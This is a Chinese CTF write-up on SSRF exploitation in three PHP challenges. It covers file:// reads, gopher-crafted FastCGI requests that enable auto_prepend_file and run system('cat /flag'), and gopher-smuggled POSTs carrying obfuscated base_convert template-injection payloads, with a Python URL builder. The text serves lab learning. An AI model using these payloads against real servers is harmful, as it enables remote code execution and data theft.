SSRF 漏洞常见利用方式
0x10 SSRF1
题目考点:
SSRF中file协议的使用
题目源码:
<?php
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo $result;
}
$url = $_GET['url'];
curl($url);
对题目进行目录扫描发现:
[200][text/html; charset=UTF-8][24.00b] http://62.234.155.106:10024/admin.php
[200][text/html; charset=UTF-8][2.68kb] http://62.234.155.106:10024/index.php
由于没有过滤,尝试使用file协议来读取admin.php,拿到admin.php的源码
<?php
$real_ip=$_SERVER["REMOTE_ADDR"];
if($real_ip === "127.0.0.1"){
if($_GET["passw0rd"] === "This_eAsy_passwOrd"){
readfile("/flagTTTTTTTTTTis");
}
else{
echo "get out";
}
}else{
echo "no,your ip not 127.0.0.1";
}
?
接下来就简单了:
我们可以通过file协议来读取flag或者通过http协议直接访问来获取flag
http://62.234.155.106:10024/?url=http://127.0.0.1/admin.php?passw0rd=This_eAsy_passwOrd
0x20 SSRF2
题目考点:SSRF中gopher协议的使用,如何利用gopher协议构造fastcgi的poc ,构造其他poc原理也是一样的,如果扫描出来的服务为
mysql服务或者redis服务这些,我们就可以构造这些服务的poc来攻击
题目源码:
<?php
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo $result;
}
$url = $_GET['url'];
$match_result=preg_match('/file:|dict/',$url);
if($match_result){
die("no way");
}
curl($url);
发现过滤了file,dict协议,然后我们尝试扫目录以及利用gopher协议扫描端口,发现9001端口超时,且报错
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
猜测服务为fastcgi,因此我们可以利用gopher协议来完成利用
https://github.com/tarunkant/Gopherus
使用开源工具生成poc
%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%34%25%30%34%25%30%30%25%30%66%25%31%30%25%35%33%25%34%35%25%35%32%25%35%36%25%34%35%25%35%32%25%35%66%25%35%33%25%34%66%25%34%36%25%35%34%25%35%37%25%34%31%25%35%32%25%34%35%25%36%37%25%36%66%25%32%30%25%32%66%25%32%30%25%36%36%25%36%33%25%36%37%25%36%39%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%32%30%25%30%62%25%30%39%25%35%32%25%34%35%25%34%64%25%34%66%25%35%34%25%34%35%25%35%66%25%34%31%25%34%34%25%34%34%25%35%32%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%66%25%30%38%25%35%33%25%34%35%25%35%32%25%35%36%25%34%35%25%35%32%25%35%66%25%35%30%25%35%32%25%34%66%25%35%34%25%34%66%25%34%33%25%34%66%25%34%63%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%65%25%30%32%25%34%33%25%34%66%25%34%65%25%35%34%25%34%35%25%34%65%25%35%34%25%35%66%25%34%63%25%34%35%25%34%65%25%34%37%25%35%34%25%34%38%25%33%36%25%33%31%25%30%65%25%30%34%25%35%32%25%34%35%25%35%31%25%35%35%25%34%35%25%35%33%25%35%34%25%35%66%25%34%64%25%34%35%25%35%34%25%34%38%25%34%66%25%34%34%25%35%30%25%34%66%25%35%33%25%35%34%25%30%39%25%34%62%25%35%30%25%34%38%25%35%30%25%35%66%25%35%36%25%34%31%25%34%63%25%35%35%25%34%35%25%36%31%25%36%63%25%36%63%25%36%66%25%37%37%25%35%66%25%37%35%25%37%32%25%36%63%25%35%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%32%30%25%33%64%25%32%30%25%34%66%25%36%65%25%30%61%25%36%34%25%36%39%25%37%33%25%36%31%25%36%32%25%36%63%25%36%35%25%35%66%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%37%33%25%32%30%25%33%64%25%32%30%25%30%61%25%36%31%25%37%35%25%37%34%25%36%66%25%35%66%25%37%30%25%37%32%25%36%35%25%37%30%25%36%35%25%36%65%25%36%34%25%35%66%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%33%64%25%32%30%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%39%25%36%65%25%37%30%25%37%35%25%37%34%25%30%66%25%31%37%25%35%33%25%34%33%25%35%32%25%34%39%25%35%30%25%35%34%25%35%66%25%34%36%25%34%39%25%34%63%25%34%35%25%34%65%25%34%31%25%34%64%25%34%35%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%31%25%34%34%25%34%66%25%34%33%25%35%35%25%34%64%25%34%35%25%34%65%25%35%34%25%35%66%25%35%32%25%34%66%25%34%66%25%35%34%25%32%66%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%33%64%25%30%34%25%30%30%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%38%25%32%37%25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%37%25%32%39%25%33%62%25%36%34%25%36%39%25%36%35%25%32%38%25%32%37%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%34%64%25%36%31%25%36%34%25%36%35%25%32%64%25%36%32%25%37%39%25%32%64%25%35%33%25%37%30%25%37%39%25%34%34%25%33%33%25%37%32%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%30%61%25%32%37%25%32%39%25%33%62%25%33%66%25%33%65%25%30%30%25%30%30%25%30%30%25%30%30
二次编码后发送payload
为什么要二次编码:
因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码。编码结果如下
查看poc 解码后
SERVER_SOFTWAREgo / fcgiclient REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH61REQUEST_METHODPOST KPHP_VALUEallow_url_include = On
disable_functions =
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/=<?php system('cat /flag');die('-----Made-by-SpyD3r-----
');?>
查看fastcgi通信漏洞利用原理
让 fpm
执行任意目标服务器上的文件,而不是我们想要其执行的文件,但在 php.ini
中有两个特殊的配置项 auto_prepend_file
和 auto_append_file
,前者是让 PHP
在执行目标文件之前,先包含该文件中指定的文件,后者让 PHP
执行目标文件之后包含其指向的文件。
那么加入我们设置 auto_prepend_file
为 php://input
,那么就等于在执行任何 php
文件前都要包含一遍 POST
的内容。所以,我们只需要把待执行的代码放在 Body
中,他们就能被执行了(除此之外还需要开启远程文件包含选项 allow_url_include
)
那么怎么设置 auto_prepend_file
的值?
这又涉及到 PHP-FPM
的两个环境变量,PHP_VALUE
和 PHP_ADMIN_VALUE
。这两个环境变量就是用来设置 PHP
配置项的,PHP_VALUE
可以设置模式为 PHP_INI_USER
和 PHP_INI_ALL
的选项,PHP_ADMIN_VALUE
可以设置所有选项
(disable_functions
除外,这个选项是 PHP
加载的时候就确定了,在范围内的函数直接不会被加载到 PHP
上下文中)
最后我们设置 auto_prepend_file = php://input
且 allow_url_include = On
,将需要执行的代码放在 Body
中,即可执行任意代码
0x30 SSRF3
一、什么是gopher协议?
定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
限制:gopher协议在各个编程语言中的使用限制
–wite-curlwrappers:运用curl工具打开url流
curl使用curl --version查看版本以及支持的协议
我们可以看到gopher会发送一个请求到端口上,这点与http协议类似
我们发现http协议发送的package其实就是:
GET /_abcd HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: curl/7.64.1
Accept: */*
这样类型的数据包
因此,我们可不可以使用gopher协议发送这样的package呢
答案是可以的
从上面的那张图中我们可以看出
我们在url后面的跟的第一个字符会被gopher吃掉,然后其余的字符会被发送的接口上
因此我们只需要构造一个package跟在gopher后面发送过去就可以
对于第三道题我做了一个poc
http://62.234.155.106:10043/?url=gopher://127.0.0.1:8000/_POST%2520/search/%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%253A8000%250ACache-Control%253A%2520max-age%253D0%250AUpgrade-Insecure-Requests%253A%25201%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010_15_7%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/92.0.4515.107%2520Safari/537.36%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250AConnection%253A%2520close%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252069%250A%250Akeys%253D%257Bif%253Aarray_map%2528base_convert%25281751504350%252C10%252C36%2529%252Carray%2528id%2529%2529%257D%257Bend%2520if%257D
我们尝试使用curl发送这个包看会发生什么
gopher://127.0.0.1:8000/_POST%2520/search/%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%253A8000%250ACache-Control%253A%2520max-age%253D0%250AUpgrade-Insecure-Requests%253A%25201%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010_15_7%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/92.0.4515.107%2520Safari/537.36%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250AConnection%253A%2520close%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252069%250A%250Akeys%253D%257Bif%253Aarray_map%2528base_convert%25281751504350%252C10%252C36%2529%252Carray%2528id%2529%2529%257D%257Bend%2520if%257D
我们可以发现成功发送了一些数据到端口上,如果服务是php服务的话,php服务会在接收请求之前做一次url解码,因此我们发送出去的包是
POST /search/ HTTP/1.1
Host: 127.0.0.1:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
keys={if:array_map(base_convert(1751504350,10,36),array(id))}{end if}
这样一个包给了8000端口上的cms,cms解析这个请求包,由此完成RCE
空格 (base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36))
/ (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
: (base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
. (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
phpinfo: base_convert(55490343972,10,36)
system: base_convert(1751504350,10,36)
ls : base_convert(784,10,36)
cat: base_convert(15941,10,36)
flag: base_convert(727432,10,36)
然后根据这个就可以构造出payload来cat flag
ls /
keys={if:array_map(base_convert(1751504350,10,36),array(base_convert(784,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))))}{end if}
cat flag
keys={if:array_map(base_convert(1751504350,10,36),array(base_convert(15941,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).base_convert(727432,10,36)))}{end if}
#!/usr/bin/env python
#coding:utf-8
from urllib.parse import quote
import requests
def poc():
#data = "keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}"
data = "keys={if:array_map(base_convert(1751504350,10,36),array(base_convert(15941,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).base_convert(727432,10,36)))}{end if}"
package = """POST /search/ HTTP/1.1
Host: 127.0.0.1:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
""".format(len(data))+data
url = "http://62.234.155.106:10043/?url=gopher://127.0.0.1:8000/_"+quote(quote(package))
return url
if __name__ == '__main__':
url = poc()
print(url)
#s = requests.get(url).text
#print(s)